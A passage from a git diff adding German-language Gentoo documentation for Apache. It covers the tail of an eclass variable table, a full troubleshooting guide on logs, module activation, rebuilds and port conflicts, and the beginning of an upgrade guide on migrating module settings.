+    Geltungsbereich aufrufen, um die Abhängigkeiten korrekt zu setzen.
+  </ti>
+</tr>
+</table>
+
+</body>
+</section>
+<section>
+<title>Variablen</title>
+<body>
+
+<table>
+<tr>
+  <th>Variable</th>
+  <th>Voreinstellung</th>
+  <th>Beschreibung</th>
+</tr>
+<tr>
+  <ti><c>APACHE_VERSION</c></ti>
+  <ti>1</ti>
+  <ti>
+    Wird gesetzt von <c>need_apache</c>, <c>need_apache1</c>,
+    <c>need_apache2</c>. Speichert die Version von Apache, die erstellt werden
+    soll.
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <c>APXS1</c><br />
+    <c>APXS2</c>
+  </ti>
+  <ti>
+    <path>/usr/sbin/apxs</path><br />
+    <path>/usr/sbin/apxs2</path>
+  </ti>
+  <ti>Verzeichnispfad zum apxs-Werkzeug</ti>
+</tr>
+<tr>
+  <ti>
+    <c>APACHECTL1</c><br />
+    <c>APACHECTL2</c>
+  </ti>
+  <ti>
+    <path>/usr/sbin/apachectl</path><br />
+    <path>/usr/sbin/apache2ctl</path>
+  </ti>
+  <ti>Verzeichnispfad zum apachectl Werkzeug</ti>
+</tr>
+<tr>
+  <ti>
+    <c>APACHE1_BASEDIR</c><br />
+    <c>APACHE2_BASEDIR</c>
+  </ti>
+  <ti>
+    <path>/usr/lib/apache</path><br />
+    <path>/usr/lib/apache2</path>
+  </ti>
+  <ti>Verzeichnispfad in dem der Server läuft</ti>
+</tr>
+<tr>
+  <ti>
+    <c>APACHE1_CONFDIR</c><br />
+    <c>APACHE2_CONFDIR</c>
+  </ti>
+  <ti>
+    <path>/etc/apache</path><br />
+    <path>/etc/apache2</path>
+  </ti>
+  <ti>Speicherort der <path>httpd.conf</path> Konfigurationsdatei</ti>
+</tr>
+<tr>
+  <ti>
+    <c>APACHE1_MODULES_CONFDIR</c><br />
+    <c>APACHE2_MODULES_CONFDIR</c>
+  </ti>
+  <ti>
+    ${APACHE1_CONFDIR}/modules.d<br />
+    ${APACHE2_CONFDIR}/modules.d
+  </ti>
+  <ti>
+    Verzeichnis in dem die Module ihre Konfiguration installieren. Alle *.conf
+    Dateien aus diesem Verzeichnis werden beim Start eingefügt.
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <c>APACHE1_VHOSTDIR</c><br />
+    <c>APACHE2_VHOSTDIR</c>
+  </ti>
+  <ti>
+    ${APACHE1_CONFDIR}/vhosts.d<br />
+    ${APACHE2_CONFDIR}/vhosts.d
+  </ti>
+  <ti>
+    Verzeichnis der Virtual Host Konfiguration. Alle *.conf Dateien aus diesem
+    Verzeichnis werden beim Start eingefügt.
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <c>APACHE1_MODULESDIR</c><br />
+    <c>APACHE2_MODULESDIR</c>
+  </ti>
+  <ti>
+    ${APACHE1_BASEDIR}/modules<br />
+    ${APACHE2_BASEDIR}/modules
+  </ti>
+  <ti>Verzeichnis in dem die Binärdateien der Module installiert werden
+  sollen.</ti>
+</tr>
+</table>
+
+<note>
+Alle Variablen sollten als Nur-Lese Variablen betrachtet und im Ebuild nicht
+verändert werden. Falls man das doch tut, können unvorhersehbare Resultate
+entstehen.
+</note>
+
+</body>
+</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/de/apache/doc/troubleshooting.xml b/xml/htdocs/proj/de/apache/doc/troubleshooting.xml
new file mode 100644
index 00000000..845047a4
--- /dev/null
+++ b/xml/htdocs/proj/de/apache/doc/troubleshooting.xml
@@ -0,0 +1,484 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/de/apache/doc/troubleshooting.xml,v 1.1 2008/05/12 18:12:37 keytoaster Exp $ -->
+
+<!-- English CVS version 1.1 -->
+
+<guide link="/proj/de/apache/doc/troubleshooting.xml" lang="de">
+<title>Apache Fehlersuche</title>
+
+<author title="Autor">
+  <mail link="vericgar@gentoo.org">Michael Stewart</mail>
+</author>
+<author title="Mitarbeiter">
+  <mail link="beu@gentoo.org">Elfyn McBratney</mail>
+</author>
+<author title="Mitarbeiter">
+  <mail link="kloeri@gentoo.org">Bryan Østergaard</mail>
+</author>
+<author title="Mitarbeiter">
+  <mail link="hollow@gentoo.org">Benedikt Böhm</mail>
+</author>
+<author title="Übersetzer">
+  <mail link="gentoo-doc-de@plicht.de">Ekki Plicht</mail>
+</author>
+
+<abstract>
+Dieses Dokument beschreibt eine Reihe von Methoden, um Fehler der Apache-
+Installation zu beheben, falls mal etwas nicht richtig funktioniert.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.8</version>
+<date>2007-11-29</date>
+
+<chapter>
+<title>Überprüfen der Logs</title>
+<section>
+<body>
+
+<p>
+Falls irgendwas mit Apache nicht so klappt wie es soll und sie keine Idee haben
+wo der Fehler liegt, sollten Sie zuerst in die Logs schauen. Dort finden Sie die
+ersten Hinweise.
+</p>
+
+<p>
+Es gibt eine ganze Reihe von Logdateien für Apache. Alle Logdateien sind unter
+<path>/var/log/apache2/</path> zu finden. Es sind nicht immer alle der im
+Folgenden beschriebenen Logdateien auf Ihrem Rechner zu finden, im Einzelnen
+hängt das davon ab welche Module aktiviert sind.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>access_log und ssl_access_log</title>
+<body>
+
+<pre caption="access_log">
+67.185.0.236 - - [18/Jun/2005:12:05:50 -0700] "GET / HTTP/1.0" 200 721
+10.0.1.80 - - [18/Jun/2005:12:11:07 -0700] "GET /~jaspenelle/__journal1.jpg HTTP/1.1" 200 19079
+66.239.233.163 - - [18/Jun/2005:12:15:06 -0700] "GET /~jaspenelle/avy14.gif HTTP/1.0" 200 1661
+67.185.60.155 - - [18/Jun/2005:12:18:48 -0700] "GET / HTTP/1.0" 200 721
+67.185.0.236 - - [18/Jun/2005:12:25:39 -0700] "GET / HTTP/1.0" 200 721
+10.0.1.80 - - [18/Jun/2005:12:28:04 -0700] "GET /~jaspenelle/avy14.gif HTTP/1.1" 200 1661
+10.0.1.80 - - [18/Jun/2005:12:28:46 -0700] "GET /~jaspenelle/avy7.png HTTP/1.1" 200 13066
+</pre>
+
+<p>
+Diese Datei ist einfach eine Auflistung jeder Datei die von Ihrem Server
+angefordert wurde. Sofern die Vorgabekonfiguration nicht geändert wurde, hat
+diese Datei das 'Common Log Format':
+</p>
+
+<pre caption="Common Log Format Syntax">
+remotehost rfc931 authuser [date] "request" status bytes
+</pre>
+
+<table>
+<tr>
+  <ti>remotehost</ti>
+  <ti>Name des entfernten Rechners oder seine IP Adresse</ti>
+</tr>
+<tr>
+  <ti>rfc931</ti>
+  <ti>Der Logname des Anwenders am zugreifenden Rechner</ti>
+</tr>
+<tr>
+  <ti>authuser</ti>
+  <ti>Der Name des Anwenders, als der er sich authentifiziert hat</ti>
+</tr>
+<tr>
+  <ti>[date]</ti>
+  <ti>Datum und Uhrzeit der Anfrage</ti>
+</tr>
+<tr>
+  <ti>"request"</ti>
+  <ti>Die Anfrage selbst, genau so wie sie vom Client gesendet wurde</ti>
+</tr>
+<tr>
+  <ti>status</ti>
+  <ti>Der HTTP-Statuswert der dem Client zurückgegeben wurde</ti>
+</tr>
+<tr>
+  <ti>bytes</ti>
+  <ti>Die Länge des zurückgelieferten Dokumentes in Byte</ti>
+</tr>
+</table>
+
+</body>
+</section>
+<section>
+<title>error_log und ssl_error_log</title>
+<body>
+
+<pre caption="error_log">
+[Mon Feb 07 23:33:18 2005] [notice] suEXEC mechanism enabled (wrapper: /usr/sbin/suexec2)
+[Mon Feb 07 23:33:18 2005] [notice] Digest: generating secret for digest authentication ...
+[Mon Feb 07 23:33:18 2005] [notice] Digest: done
+[Mon Feb 07 23:33:18 2005] [notice] Apache/2.0.52 (Gentoo/Linux) PHP/4.3.10 configured -- resuming normal operations
+[Sat Jun 18 13:01:54 2005] [error] [client 10.0.1.80] File does not exist: /var/www/localhost/htdocs/favicon.ico
+[Sat Jun 18 13:02:14 2005] [error] [client 10.0.1.80] File does not exist: /var/www/localhost/htdocs/favicon.ico
+[Sat Jun 18 13:02:18 2005] [error] [client 10.0.1.80] File does not exist: /var/www/localhost/htdocs/favicon.ico
+[Sat Jun 18 13:02:21 2005] [error] [client 10.0.1.80] File does not exist: /var/www/localhost/htdocs/favicon.ico
+[Sat Jun 18 13:02:24 2005] [error] [client 10.0.1.80] File does not exist: /var/www/localhost/htdocs/favicon.ico
+</pre>
+
+<p>
+Wie Sie sehen kann diese Datei jede Menge Einträge enthalten, abhängig von der
+Einstellung der <c>ErrorLevel</c>-Anweisung in Ihrer <path>httpd.conf</path>
+Konfigurationsdatei. Hier sehen Sie ob Apache problemlos starten konnte, welche
+Fehler auftraten uvm. Generell sehen Sie hier, was nicht funktioniert hat. Immer
+wenn es Probleme mit Apache gibt sollten Sie als erstes diese Datei für mehr
+Informationen überprüfen.
+</p>
+
+</body>
+</section>
+<section>
+<title>suexec_log</title>
+<body>
+
+<pre caption="suexec_log">
+[2005-02-11 22:33:19]: uid: (1000/vericgar) gid: (1000/1000) cmd: test.cgi
+[2005-03-11 19:20:13]: uid: (1000/vericgar) gid: (1000/1000) cmd: test.cgi
+[2005-03-11 19:34:47]: uid: (1000/vericgar) gid: (1000/1000) cmd: test.cgi
+</pre>
+
+<p>
+Diese Datei enthält eine Logzeile für jeden Aufruf eines CGI-Skriptes, das
+'suexec' verwendet. Falls ein CGI-Script (das 'suexec' verwendet) nicht so will
+wie es soll, ist diese Logdatei der erste Anlaufpunkt wo Sie nachgucken sollten.
+Hier werden Sie normalerweise einen Logeintrag finden, der angibt warum das
+Skript nicht gestartet werden konnte.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Ich habe ein Modul installiert, aber das funktioniert nicht!!!</title>
+<section>
+<body>
+
+<p>
+Ein Modul einfach nur zu installieren reicht nicht - Sie müssen es noch explizit
+aktivieren. Wir machen das, so dass es einfach ist ein einzelnes Modul ein- und
+auszuschalten. Dadurch lässt sich leichter herausfinden welches Modul ein
+Problem verursacht.
+</p>
+
+<p>
+Wenn Sie ein Modul installieren wird eine Nachricht ähnlich wie diese angezeigt:
+</p>
+
+<pre caption="Nachricht von emerge nach der Installation">
+ *
+ * To enable mod_layout, you need to edit your /etc/conf.d/apache2 file and
+ * add '-D LAYOUT' to APACHE2_OPTS.
+ *
+ *
+ * Configuration file installed as
+ *     /etc/apache2/modules.d/15_mod_layout.conf
+ * You may want to edit it before turning the module on in /etc/conf.d/apache2
+ *
+</pre>
+
+<p>
+Das sollte ziemlich klar sein. Die Nachricht sagt Ihnen was Sie tun müssen, um
+dieses Modul zu aktivieren.
+</p>
+
+<p>
+Falls Sie diese Nachricht übersehen haben, gibt es einen anderen Weg
+herauszufinden, was man zu <c>APACHE2_OPTS</c> in der Datei
+<path>/etc/conf.d/apache2</path> hinzufügen muss: Gucken Sie sich einfach die
+Konfigurationsdatei an, die zusammen mit dem Modul installiert wurde. Diese
+Konfigurationsdatei sollte immer in <path>/etc/apache2/modules.d/</path>
+installiert werden. Öffnen Sie die entsprechende Datei und suchen Sie nach einer
+Zeile mit <c>IfDefine</c>:
+</p>
+
+<pre caption="Ein Auszug aus 15_mod_layout.conf">
+&lt;IfDefine LAYOUT&gt;
+  &lt;IfModule !mod_layout.c&gt;
+    LoadModule layout_module    modules/mod_layout.so
+  &lt;/IfModule&gt;
+&lt;/IfDefine&gt;
+</pre>
+
+<p>
+Der <c>IfDefine</c>-Block wird ausgeführt wenn Sie <c>-D LAYOUT</c> in der Datei
+<path>/etc/conf.d/apache2</path> hinzufügen. Das Schlüsselwort <c>LAYOUT</c> ist
+nur ein Beispiel.
+</p>
+
+<p>
+Es gibt eine ganze Reihe von Optionen, die bei <c>APACHE2_OPTS</c> eingetragen
+werden können. Sie sind in der Vorgabekonfiguration angegeben und gut in
+<path>/etc/conf.d/apache2</path> erklärt.
+</p>
+
+<p>
+Dokumentation zu allen eingebauten Modulen findet man in der <uri
+link="http://httpd.apache.org/docs/2.0/">Apache 2.0 Dokumentation (Englisch)
+</uri> bzw. in .<uri link="http://httpd.apache.org/docs/2.0/de/">Apache 2.0
+  Dokumentation (Deutsch)</uri>.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Apache liefert Seiten mit Null Byte Länge oder verursacht einen
+  Speicherzugriffsfehler</title>
+<section>
+<body>
+
+<p>
+Das kann nach einem Upgrade vorkommen, da die Binärkompatibilität zu APR (Apache
+Portable Runtime) nicht mehr gegeben ist (und das kann wiederrum eine ganze
+Reihe von Gründen haben). Um das zu beheben sollten Sie die ganzen zu Apache
+gehörenden Werkzeuge (APR) neu aufbauen:
+</p>
+
+<pre caption="Neuaufbau der Apache Werkzeuge">
+<comment>(Führen sie das genau in dieser Reihenfolge aus, das ist sehr wichtig!)</comment>
+
+<comment>(Zunächst müssen wir den derzeit installierten Apache entfernen)</comment>
+# <i>emerge -aCv '=www-servers/apache-2*'</i>
+
+<comment>(Dann bauen wir die Apache Werkzeuge neu auf)</comment>
+# <i>emerge -av '=dev-libs/apr-0*' '=dev-libs/apr-util-0*'</i>
+
+<comment>(Und schließlich wird Apache neu installiert)</comment>
+# <i>emerge -av '=www-servers/apache-2*'</i>
+
+<comment>(Feststellen, welche Pakete von Apache abhängen)</comment>
+$ <i>equery depends www-servers/apache</i>
+[ Searching for packages depending on www-servers/apache... ]
+dev-php/phpsysinfo-2.3-r2
+dev-php/phpsysinfo-2.1-r2
+dev-lang/php-5.2.4_p20070914-r2
+net-www/mod_layout-4.0.1a-r1
+www-servers/gorg-0.5
+
+<comment>(Abschliessend werden diese abhängigen Module neu aufgebaut)</comment>
+# <i>emerge -av '=dev-lang/php-5.2.4_p20070914-r2' '=net-www/mod_layout-4.0.1.a-r1'</i>
+</pre>
+
+</body>
+</section>
+<section>
+<title>Ein fehlerhaftes Add-On Modul identifizieren</title>
+<body>
+
+<p>
+Falls Sie, obwohl Sie den Anweisungen oben gefolgt sind, immer noch Probleme
+haben sollten, dann ist die Ursache meist bei einem der installierte Mdule zu
+suchen.
+</p>
+
+<p>
+Beginnen Sie, indem Sie alle zusätzlichen Module deaktivieren und Apache neu
+starten.
+</p>
+
+<pre caption="Zusatzmodule deaktivieren">
+<comment>(editieren von /etc/conf.d/apache2)</comment>
+
+<comment>(Vor der Änderung)</comment>
+APACHE2_OPTS="-D PHP5 -D USERDIR -D SSL"
+
+<comment>(Nach der Änderung)</comment>
+APACHE2_OPTS=""
+</pre>
+
+<pre caption="Apache neu starten">
+# <i>/etc/init.d/apache2 stop</i>
+<comment>(Stellen Sie sicher, dass Apache vollständig beendet wurde)</comment>
+# <i>ps -A</i>
+# <i>/etc/init.d/apache2 start</i>
+</pre>
+
+<note>
+Sie müssen gegebenenfalls kleine Änderungen an der Konfiguration vornehmen,
+falls Sie <c>Directive</c>s an solchen Stellen verwenden, an denen nicht
+getestet wird ob das Modul geladen ist. Es wird empfohlen solche
+<c>Directive</c>s in eine Testumgebung einzubetten. Beispiele von .conf-Dateien
+dazu gibt es in <path>/etc/apache2/modules.d</path>.
+</note>
+
+<p>
+Wenn Apache nach dem Neustart nun keine Speicherzugriffsfehler oder leere Seiten
+produziert wissen Sie mit Sicherheit, dass es an einem der Zusatzmodule lag. Um
+herauszufinden, welches davon die Ursache ist, werden wir eins nach dem anderen
+wieder aktivieren. Dazu muss Apache jedesmal komplett neu gestartet werden.
+</p>
+
+<p>
+Falls Apache nach der Aktivierung eines Moduls wieder Probleme macht, dann
+wissen Sie, dass dieses zuletzt aktivierte Modul die Probleme verursacht.
+Manchmal reicht es aus dieses Modul einfach neu zu bauen.
+</p>
+
+<p>
+Falls nach einer Neuinstallation des Moduls immer noch Probleme wie
+Speicherzugriffsfehler oder leere Seiten auftreten, dann sollten Sie einen <uri
+link="http://bugs.gentoo.org">Fehlerbericht</uri> einreichen und zwar unter
+Angabe der Versions- und Revisionsnummer des betroffenen Moduls. Schauen Sie
+aber bitte vorher nach, ob zu diesem Fehler nicht bereits ein Bericht
+eingereicht wurde.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Der Webserver führt PHP- oder CGI-Scripte nicht aus, sondern liefert den
+  Quellcode der Scripte zurück</title>
+<section>
+<body>
+
+<p>
+Manachmal scheint es so auszusehen, als ob Apache den PHP- oder CGI-Quellcode
+ausliefert anstatt dieses Script auszuführen. Wenn das vorkommt obwohl das Modul
+in <path>/etc/conf.d/apache2</path> aktiviert ist, dann liegt das ziemlich
+wahrscheinlich am Zwischenspeicher (Cache) des Browsers. Ein Löschen des Caches
+sollte dieses Problem beheben.
+</p>
+
+<p>
+Manchmal tritt dieses Problem dann auf, wenn man den Webserver über den
+DNS-Namen anspricht, nicht aber wenn man die IP-Adresse verwendet. Das weist
+sehr stark darauf hin, dass es sich hier um ein Cacheproblem handelt.
+</p>
+
+<p>
+Dieses Problem kann behoben werden, indem man den Browsercache löscht, genauso
+den der dazwischenliegenden Proxies wie squid oder wwwoffle.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>configure: error: changes in the environment can compromise the
+  build</title>
+<section>
+<body>
+
+<p>
+Falls Sie diesen Fehler erhalten, haben Sie wahrscheinlich unnötige Leerzeichen
+in Ihren <c>CFLAGS</c> in der Datei <path>/etc/make.conf</path>. Die Lösung ist
+einfach; löschen Sie die überflüssigen Leerzeichen:
+</p>
+
+<pre caption="Beispiel von Änderungen an /etc/make.conf">
+<comment>(Vor der Änderung)</comment>
+CFLAGS="-O2 -mcpu=pentium3 -march=pentium3  -pipe"
+
+<comment>(Nach der Änderung - beachten Sie die verschwundenen Leerzeichen)
+</comment>
+CFLAGS="-O2 -mcpu=pentium3 -march=pentium3 -pipe"
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Address already in use: make_sock: could not bind to address
+0.0.0.0:443</title>
+<section>
+<body>
+
+<p>
+Dieser Fehler tritt während des Starts auf und wird durch mehrere, zueinander
+inkompatible <c>Listen</c> Direktiven in der Konfiguration verursacht. Um das
+Problem zu beheben, suchen Sie mit 'grep' nach allen <c>Listen</c> Einträgen in
+der Konfiguration und korrigieren Sie jedes Auftreten.
+</p>
+
+<pre caption="Auffinden aller Listen Anweisungen">
+<comment>(Wechseln Sie zunächst in das Konfigurationsverzeichnis)</comment>
+# <i>cd /etc/apache2/</i>
+
+<comment>(Lassen Sie sich alle Listen Anweisungen anzeigen)</comment>
+# <i>grep Listen httpd.conf vhosts.d/*.conf modules.d/*.conf</i>
+</pre>
+
+<p>
+Das, wonach Sie suchen müssen, sind zueinander inkompatible Apache-Anweisungen,
+sich an Ports zu binden. Falls es zum Beispiel eine Anweisung <c>Listen 80</c>
+in <path>httpd.conf</path> gibt, und in einer anderen Datei eine Anweisung
+<c>Listen 10.0.0.15:80</c> dann kann Apache nicht starten. Das liegt daran, dass
+sich Apache zunächst an Port 80 auf allen vorhandenen IP-Adressen bindet und
+später versucht nochmal Port 80 auf IP-Adresse 10.0.015 zu binden. Das schlägt
+fehl, weil der Port 80 bereits von der früheren Anweisung belegt wurde.
+</p>
+
+<p>
+Die empfohlene Konfiguration ist, nur eine <c>Listen 80</c> Anweisung zu
+verwenden (das ist die Vorgabe in <path>httpd.conf</path>). Dies ist die Vorgabe
+für den Standard-HTTP Port bei allen IP-Adressen. Erstellen Sie dann für jeden
+SSL <c>Virtual Host</c> eine eigene, absolute <c>Listen</c> Anweisung (wie z.B.
+<c>Listen 10.0.0.15:443</c>.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Nach einem Upgrade auf apache-2.0.54-r13 arbeiten die Standard vhosts
+(sowohl SSL also auch nicht-SSL) nicht mehr</title>
+<section>
+<body>
+
+<p>
+Mit dem Upgrade auf apache-2.0.54-r13 wurden zwei neue Direktiven eingeführt um
+den Fehler <uri link="http://bugs.gentoo.org/show_bug.cgi?id=100624">100624
+</uri> zu beheben.
+</p>
+
+<p>
+Die neuen Anweisungen sind <c>-D DEFAULT_VHOST</c> um den standardmässig
+installierten Virtual Host zu aktivieren, sowie <c>-D SSL_DEFAULT_VHOST</c> für
+den standardmässig installierten SSL Virtual Host. Diese beiden Direktiven
+müssen zu der <c>APACHE2_OPTS</c> Variablen in der Datei <path>
+/etc/conf.d/apache2</path> hinzugefügt werden, damit sich Apache verhält wie
+vor dem Upgrade.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter id="getting-help">
+<title>Weitere Hilfe</title>
+<section>
+<body>
+
+<p>
+Falls Ihnen keiner der oben genannten Punkte geholfen hat oder falls Sie andere
+Fragen haben, sprechen Sie uns doch mal im IRC an. Wir sind meistens im Kanal
+<path>#gentoo-apache</path> auf dem Server <path>irc.freenode.net</path> zu
+finden.  Oder Sie erstellen einen neuen Fehlerbericht auf
+<uri link="http://bugs.gentoo.org">Gentoos Bugzilla</uri>.
+</p>
+
+</body>
+</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/de/apache/doc/upgrading.xml b/xml/htdocs/proj/de/apache/doc/upgrading.xml
new file mode 100644
index 00000000..54d32926
--- /dev/null
+++ b/xml/htdocs/proj/de/apache/doc/upgrading.xml
@@ -0,0 +1,829 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/de/apache/doc/upgrading.xml,v 1.1 2008/05/12 21:15:40 keytoaster Exp $ -->
+
+<!-- English CVS Version: 1.12 -->
+
+<guide link="/proj/de/apache/doc/upgrading.xml" lang="de">
+<title>Apache upgraden</title>
+
+<author title="Autor">
+  <mail link="vericgar@gentoo.org">Michael Stewart</mail>
+</author>
+<author title="Bearbeiter">
+  <mail link="hollow"/>
+</author>
+<author title="Bearbeiter">
+  <mail link="nightmorph"/>
+</author>
+<author title="Übersetzer">
+  <mail link="Thesan@thaor.net">Stefan Becker</mail>
+</author>
+<author title="Übersetzer">
+  <mail link="keytoaster">keytoaster@gentoo.org</mail>
+</author>
+
+<abstract>
+Dieses Dokument beschreibt die Vorgehensweise die Endanwender für ein Upgrade
+ihrer Apache-Installation benutzen sollten.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>2.8</version>
+<date>2007-12-11</date>
+
+<chapter id="upgrade-2.2.6-r4">
+<title>Upgraden von &lt;2.2.6-r4</title>
+<section>
+<body>
+
+<p>
+Die Apache-Ebuilds haben für eine lange Zeit
+<path>/etc/apache2/apache2-builtin-mods</path> benutzt, um die built-in Module
+zur Kompilierzeit auszuwählen. Dieses Verhalten hat jedoch einige Nachteile:
+</p>
+
+<ul>
+  <li>
+    Das Auwählen der built-in Module während des ersten Merges ist nicht möglich
+  </li>
+  <li>
+    Portage weiß nicht, welche Module installiert wurden. Dies ist besonders
+    nervig für binäre Pakete.
+  </li>
+  <li>
+    Portage wird versuchen, <path>apache2-builtin-mods</path> bei jedem Upgrade
+    zu überschreiben.
+  </li>
+</ul>
+
+<p>
+Um diese Lage zu bessern, wird <path>/etc/apache2/apache2-builtin-mods</path>
+nicht mehr länger benutzt und wurde zu den neuen Variablen
+<c>APACHE2_MODULES</c> und <c>USE_EXPAND</c> migriert. Um Ihre persönliche
+Modulauswahl ins neue Format zu konvertieren, benutzen Sie folgenden Befehl:
+</p>
+
+<pre caption="Konvertieren der apache2-builtin-mods zu APACHE2_MODULES">
+$ <i>echo APACHE2_MODULES=\"$(sed '/^mod_/s/mod_\(.*\)\s\+\(shared\|static\)/\1/;t n;d;:n' /etc/apache2/apache2-builtin-mods)\" >> /etc/make.conf</i>
+# <i>rm /etc/apache2/apache2-builtin-mods</i>
+
+<comment>(Sie können nun Apache sicher upgraden:)</comment>
+# <i>emerge -uva '>=www-servers/apache-2.2.6-r4'</i>
+</pre>
+
+<p>
+Zusätzlich zu dem neuen <c>APACHE2_MODULES</c> wurden die lokalen USE-Flags
+aufgeräumt:
+</p>
+
+<ul>
+  <li>
+    Alle MPM USE-Flags wurden in die <c>APACHE2_MPMS</c> <c>USE_EXPAND</c>
+    Variable verschoben
+  </li>
+  <li>
+    <c>no-suexec</c> ist jetzt <c>suexec</c>
+  </li>
+  <li>
+    <c>static-modules</c> ist jetzt <c>static</c>
+  </li>
+</ul>
+
+<p>
+Eine detaillierte Beschreibung der alten und entsprechenden neuen USE-Flags
+finden Sie <uri link="#use-2.2.6-r4">unten</uri>.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter id="upgrade-2.0.52-r3">
+<title>Upgraden von &lt;2.0.52-r3</title>
+<section>
+<title>Einführung</title>
+<body>
+
+<p>
+Der Zustand des Apache und seiner Module innerhalb von Gentoo wurde langsam
+trostlos. Es gab eine Reihe von Problemen die den Support und die Pflege von
+allem, wofür das Apache Team verantwortlich ist, schwierig machten:
+</p>
+
+<ul>
+  <li>
+    Die Konfiguration, die mit Gentoo ausgeliefert wurde, unterschied sich
+    enorm von einer regulären Konfiguration, die die meisten Benutzer
+    erwarteten
+  </li>
+  <li>
+    Viele Module haben einen ähnlichen Code verwendet, aber alle erledigten
+    Dinge auf ihre eigene Art und Weise
+  </li>
+  <li>
+    Die meisten Module wurden nicht besonders gut gepflegt, hauptsächlich wegen
+    der großen Zahl der verfügbaren Module
+  </li>
+  <li>Es gab keinen Standard für die Konfiguration der Module</li>
+  <li>
+    Einige Module wären mit beiden Apache Versionen lauffähig gewesen, aber die
+    Ebuilds haben das nicht berücksichtigt
+  </li>
+  <li>
+    Einige Optionen die Apache bietet waren für Gentoo-Benutzer nicht verfügbar
+    (zum Beispiel MPMs)
+  </li>
+  <li>Apache Bugs sammelten sich an</li>
+</ul>
+
+<p>
+Dieses Dokument beschreibt, wie Sie Ihren Apache upgraden ohne ihr System kaputt
+zu machen. Wenn Sie ein Entwickler sind oder gerne wissen möchten, was wir
+geändert haben, oder wie Ebuilds angepasst werden müssen, um die Vorteile
+unserer Eclass nutzen zu können, sehen Sie sich die <uri
+link="/proj/en/apache/apache-developer.xml">Apache Developer Reference</uri> an.
+</p>
+
+</body>
+</section>
+<section>
+<title>Upgraden</title>
+<body>
+
+<p>
+Es gab viele Änderungen daran, wie Apache unter Gentoo funktioniert. Jedes
+Paket, das im direkten Zusammenhang mit Apache steht, muss aktualisiert werden
+und einige Dinge, die bisher funktioniert haben, funktionieren jetzt nicht mehr.
+</p>
+
+<p>
+Als erstes müssen Sie herausfinden welche Pakete ein Upgrade benötigen. Sie
+können das mit Hilfe des <c>equery</c> Tools, welches Bestandteil des
+<c>app-portage/gentoolkit</c> Pakets ist, feststellen.
+</p>
+
+<pre caption="Auffinden von zu aktualisierenden Paketen">
+$ <i>equery depends www-servers/apache</i>
+[ Searching for packages depending on www-servers/apache... ]
+dev-db/phpmyadmin-2.5.6
+dev-php/mod_php-4.3.10
+dev-php/phpsysinfo-2.1-r2
+net-www/mod_bandwidth-2.0.5
+net-www/mod_layout-4.0.1a
+net-www/mod_mp3-0.40
+net-www/mod_random-2.0
+net-www/mod_throttle-3.1.2-r1
+www-apache/mod_ldap_userdir-1.1.4
+www-apache/mod_loopback-1.04
+www-apache/mod_watch-3.18
+www-apps/viewcvs-0.9.2_p20030430
+</pre>
+
+<impo>
+Die Pakete die Sie installiert haben, können vollständig andere sein. Stellen
+Sie sicher, dass Sie den oben stehenden Befehl selbst ausgeführt zu haben.
+</impo>
+
+<warn>
+Es gibt einige Module und Pakete die Apache benötigen und noch nicht auf den
+neuesten Stand gebracht wurden. Bitte <uri
+link="http://bugs.gentoo.org">durchsuchen Sie Bugzilla</uri> für jedes
+kritische Paket das Sie mit Ihrem Apache einsetzen.
+</warn>
+
+<p>
+Viele Webapplikationen werden von diesem Upgrade nicht beeinflusst, da die
+meisten Webapplikationen die <c>webapp</c> Eclass benutzen, welche sich darum
+kümmert, dass diese richtig installiert werden. Sie sollten überprüfen ob es
+vielleicht eine neue Revision gibt.
+</p>
+
+<p>
+Da wir einige neue USE-Flags eingeführt haben, möchten Sie vielleicht einen
+Blick darauf werfen und entsprechende Zeilen in ihre
+<path>/etc/portage/package.use</path> einfügen. Für weitere Informationen
+schauen Sie sich die <uri link="#use-2.2.6-r4">von Apache unterstützten
+USE-Flags</uri> an.
+</p>
+
+<pre caption="Überprüfen der USE-Flags und erneutes Kompilieren">
+<comment>(Prüfen Sie die USE-Flags und die nötigen Updates)</comment>
+# <i>emerge --pretend --verbose --update --newuse --deep apache subversion \
+mod_php mod_bandwidth mod_layout mod_ldap_userdir mod_loopback mod_mp3 \
+mod_random mod_throttle mod_watch</i>
+
+<comment>(Pakete aktualisieren)</comment>
+# <i>emerge --verbose --update --newuse --deep apache subversion mod_php \
+mod_bandwidth mod_layout mod_ldap_userdir mod_loopback mod_mp3 mod_random \
+mod_throttle mod_watch</i>
+
+<comment>(Möglicherweise ist es einfacher ein World-Update zu machen, anstelle
+ des obenstehenden)
+</comment>
+# <i>emerge --ask --verbose --update --newuse --deep world</i>
+</pre>
+
+<p>
+Nun müssen Sie Apache und seine Module neu konfigurieren. Beginnen Sie damit
+<c>etc-update</c> oder <c>dispatch-conf</c> auszuführen um die Dateien in
+<path>/etc/init.d</path> und <path>/etc/conf.d</path> zu aktualisieren. Sie
+werden feststellen, dass Ihre Apache Konfigurationsdateien nicht mit in der
+Liste der zu aktualisierenden Dateien erscheinen, dies liegt daran, dass
+sämtliche Apache Konfigurationsdateien nun an einem anderen Ort gespeichert
+werden.
+</p>
+
+<p>
